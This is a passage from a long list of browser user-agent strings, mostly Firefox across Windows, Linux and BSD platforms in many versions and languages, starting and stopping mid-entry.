CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ko; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 GTB7.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 Mozilla/5.0 (Windows; U; Windows NT 6.0; pt-BR; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.2) Gecko/20100115 Firefox/3.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; sr; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15 Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.0.18) Gecko/2010020220 Firefox/3.0.18 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; tr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 6.0; tr; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre Mozilla/5.0 (Windows; U; Windows NT 6.0; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; ar; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 Mozilla/5.0 (Windows; U; Windows NT 6.1; ar; rv:1.9.2) Gecko/20100115 Firefox/3.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; ca; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; de-AT; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11 (.NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.16) Gecko/20101130 AskTbMYC/3.9.1.14019 Firefox/3.5.16 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 4.0.20506) Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.3) Gecko/20121221 Firefox/3.6.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.8) Gecko/20100722 Firefox 3.6.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-AU; rv:1.9.2.14) Gecko/20110218 Firefox/3.6.14 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 (.NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 GTB5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) FirePHP/0.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 FirePHP/0.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729) FBSMTWB Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090612 Firefox/3.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090612 Firefox/3.5 (.NET CLR 4.0.20506) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 (.NET CLR 3.5.30729; .NET4.0C) FirePHP/0.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.17) Gecko/20110420 Firefox/3.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.2) Gecko/20100316 AskTbSPC2/3.9.1.14019 Firefox/3.6.2 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3pre) Gecko/20100405 Firefox/3.6.3plugin1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.8) Gecko/20100806 Firefox/3.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2b1) Gecko/20091014 Firefox/3.6b1 GTB5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.3a3pre) Gecko/20100306 Firefox3.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:2.0b10) Gecko/20110126 Firefox/4.0b10 Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; et; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 GTB7.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.8) Gecko/20100722 Firefox 3.6.8 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.7) Gecko/20100713 Firefox/3.6.7 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.8) Gecko/20100722 AskTbADAP/3.9.1.14019 Firefox/3.6.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; ja; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; lt; rv:1.9.2) Gecko/20100115 Firefox/3.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 FirePHP/0.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-BR; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-BR; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-PT; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; ro; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 Mozilla/5.0 (Windows; U; Windows NT 6.1; ru-RU; rv:1.9.2) Gecko/20100105 MRA 5.6 (build 03278) Firefox/3.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5 Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:1.9.2.9) Gecko/20100913 Firefox/3.6.9 Mozilla/5.0 (Windows; U; Windows NT 6.1; sl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; tr; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; uk; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; WOW64; en-US; rv:2.0.4) Gecko/20120718 AskTbAVR-IDW/3.12.5.17700 Firefox/14.0.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 (.NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.14) Gecko/20110218 Firefox/3.6.14 Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 7.0; rv:1.9.2) Gecko/20100101 Firefox/3.6 Mozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:1.7.5) Gecko/20041108 Firefox/1.0 Mozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre Mozilla/5.0 (Windows; Windows NT 5.1; es-ES; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre Mozilla/5.0 (Windows x86; rv:19.0) Gecko/20100101 Firefox/19.0 Mozilla/5.0 (X11; Arch Linux i686; rv:2.0) Gecko/20110321 Firefox/4.0 Mozilla/5.0 (X11; FreeBSD amd64; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (X11; FreeBSD i686) Firefox/3.6 Mozilla/5.0 (X11; FreeBSD x86_64; rv:2.0) Gecko/20100101 Firefox/3.6.12 Mozilla/5.0 (X11; Linux AMD64) Gecko Firefox/5.0 Mozilla/5.0 (X11; Linux) Gecko Firefox/5.0 Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0 Mozilla/5.0 (X11; Linux i686 on x86_64; rv:5.0a2) Gecko/20110524 Firefox/5.0a2 Mozilla/5.0 (X11; Linux i686 on x86_64; rv:5.0) Gecko/20100101 Firefox/3.6.17 Firefox/3.6.17 Mozilla/5.0 (X11; Linux i686; rv:1.7.5) Gecko/20041108 Firefox/1.0 Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20110518 Firefox/4.0.1 Mozilla/5.0 (X11; Linux i686; rv:2.0b10) Gecko/20100101 Firefox/4.0b10 Mozilla/5.0 (X11; Linux i686; rv:2.0b12pre) Gecko/20100101 Firefox/4.0b12pre Mozilla/5.0 (X11; Linux i686; rv:2.0b12pre) Gecko/20110204 Firefox/4.0b12pre Mozilla/5.0 (X11; Linux i686; rv:2.0b3pre) Gecko/20100731 Firefox/4.0b3pre Mozilla/5.0 (X11; Linux i686; rv:2.0) Gecko/20100101 Firefox/3.6 Mozilla/5.0 (X11; Linux i686; rv:21.0) Gecko/20100101 Firefox/21.0 Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0 Mozilla/5.0 (X11; Linux i686; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Mozilla/5.0 (X11; Linux i686; U; pl; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Mozilla/5.0 (X11; Linux x86_64) Gecko Firefox/5.0 Mozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20110506 Firefox/4.0.1 Mozilla/5.0 (X11; Linux x86_64; rv:2.0b4) Gecko/20100818 Firefox/4.0b4 Mozilla/5.0 (X11; Linux x86_64; rv:2.0b9pre) Gecko/20110111 Firefox/4.0b9pre Mozilla/5.0 (X11; Linux x86_64; rv:2.2a1pre) Gecko/20100101 Firefox/4.2a1pre Mozilla/5.0 (X11; Linux x86_64; rv:2.2a1pre) Gecko/20110324 Firefox/4.2a1pre Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0 Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 Firefox/5.0 Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 FirePHP/0.5 Mozilla/5.0 (X11; Linux x86_64; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Mozilla/5.0 (X11; Mageia; Linux x86_64; rv:10.0.9) Gecko/20100101 Firefox/10.0.9 Mozilla/5.0 (X11; NetBSD amd64; rv:16.0) Gecko/20121102 Firefox/16.0 Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0 Mozilla/5.0 (X11; Ubuntu; Linux armv7l; rv:17.0) Gecko/20100101 Firefox/17.0 Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1 Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:15.0) Gecko/20100101 Firefox/15.0.1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:14.0) Gecko/20100101 Firefox/14.0.1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:17.0) Gecko/20100101 Firefox/17.0.6 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20100101 Firefox/21.0 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20130331 Firefox/21.0 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0 Mozilla/5.0 (X11; U; DragonFly i386; de; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 Mozilla/5.0 (X11; U; DragonFly i386; de; rv:1.9.1) Gecko/20090720 Firefox/3.5.1 Mozilla/5.0 (X11; U; FreeBSD amd64; en-US; rv:1.8.0.8) Gecko/20061116 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; FreeBSD i386; de-CH; rv:1.9.2.8) Gecko/20100729 Firefox/3.6.8 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.12) Gecko/20051105 Firefox/1.0.8 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.5) Gecko/20041114 Firefox/1.0 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.7) Gecko/20050420 Firefox/1.0.3 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.7) Gecko/20060303 Firefox/1.0.3 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.0.2) Gecko/20060414 Firefox/1.5.0.2 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.0.8) Gecko/20061210 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.20) Gecko/20090225 Firefox/2.0.0.20 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.20) Gecko/20090413 Firefox/2.0.0.20 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.0.10) Gecko/20090624 Firefox/3.5 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.1) Gecko/20090703 Firefox/3.5 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.2.9) Gecko/20100913 Firefox/3.6.9 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9a2) Gecko/20080530 Firefox/3.0a2 Mozilla/5.0 (X11; U; FreeBSD i386; ja-JP; rv:1.9.1.8) Gecko/20100305 Firefox/3.5.8 Mozilla/5.0 (X11; U; FreeBSD i386; ru-RU; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3 Mozilla/5.0 (X11; U; Gentoo Linux x86_64; pl-PL) Gecko Firefox Mozilla/5.0 (X11; U; Gentoo Linux x86_64; pl-PL; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; Linux amd64; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; Linux AMD64; en-US; rv:1.9.2.3) Gecko/20100403 Ubuntu/10.10 (maverick) Firefox/3.6.3 Mozilla/5.0 (X11; U; Linux amd64; en-US; rv:5.0) Gecko/20110619 Firefox/5.0 Mozilla/5.0 (X11; U; Linux amd64; rv:5.0) Gecko/20100101 Firefox/5.0 (Debian) Mozilla/5.0 (X11; U; Linux armv7l; en-GB; rv:1.9.2.3pre) Gecko/20100723 Firefox/3.6.11 Mozilla/5.0 (X11; U; Linux; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux; en-US; rv:1.9.1.11) Gecko/20100720 Firefox/3.5.11 Mozilla/5.0 (X11; U; Linux; fr; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux Gentoo i686; pl; rv:1.8.0.8) Gecko/20061219 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux Gentoo; pl-PL; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; Linux i386; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; Linux i586; de; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (X11; U; Linux i686; bg; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 Mozilla/5.0 (X11; U; Linux i686; ca; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.8.0.10) Gecko/20070313 Fedora/1.5.0.10-5.fc6 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.8.0.11) Gecko/20070327 Ubuntu/dapper-security Firefox/1.5.0.11 Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.0.16) Gecko/2009121601 Ubuntu/9.04 (jaunty) Firefox/3.0.16 Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.1.6) Gecko/20100107 Fedora/3.5.6-1.fc12 Firefox/3.5.6 Mozilla/5.0 (X11; U; Linux i686; da-DK; rv:1.7.13) Gecko/20060411 Firefox/1.0.8 SUSE/1.0.8-0.2 Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.5) Gecko/20041128 Firefox/1.0 (Debian package 1.0-4) Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.6) Gecko/20050325 Firefox/1.0.2 (Debian package 1.0.2-1) Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.6) Gecko/20040207 Firefox/0.8 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.13) Gecko/20060411 Firefox/1.0.8 SUSE/1.0.8-0.2 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.13) Gecko/20060418 Firefox/1.0.8 (Ubuntu package 1.0.8) Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.5) Gecko/20041108 Firefox/1.0 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.6) Gecko/20050306 Firefox/1.0.1 (Debian package 1.0.1-2) Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.6) Gecko/20050322 Firefox/1.0.1 Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.2.8) Gecko/20100725 Gentoo Firefox/3.6.8 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.11) Gecko/20070327 Ubuntu/dapper-security Firefox/1.5.0.11 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.12) Gecko/20070719 CentOS/1.5.0.12-3.el5.centos Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.12) Gecko/20070731 Ubuntu/dapper-security Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.3) Gecko/20060425 SUSE/1.5.0.3-7 Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.5) Gecko/20060731 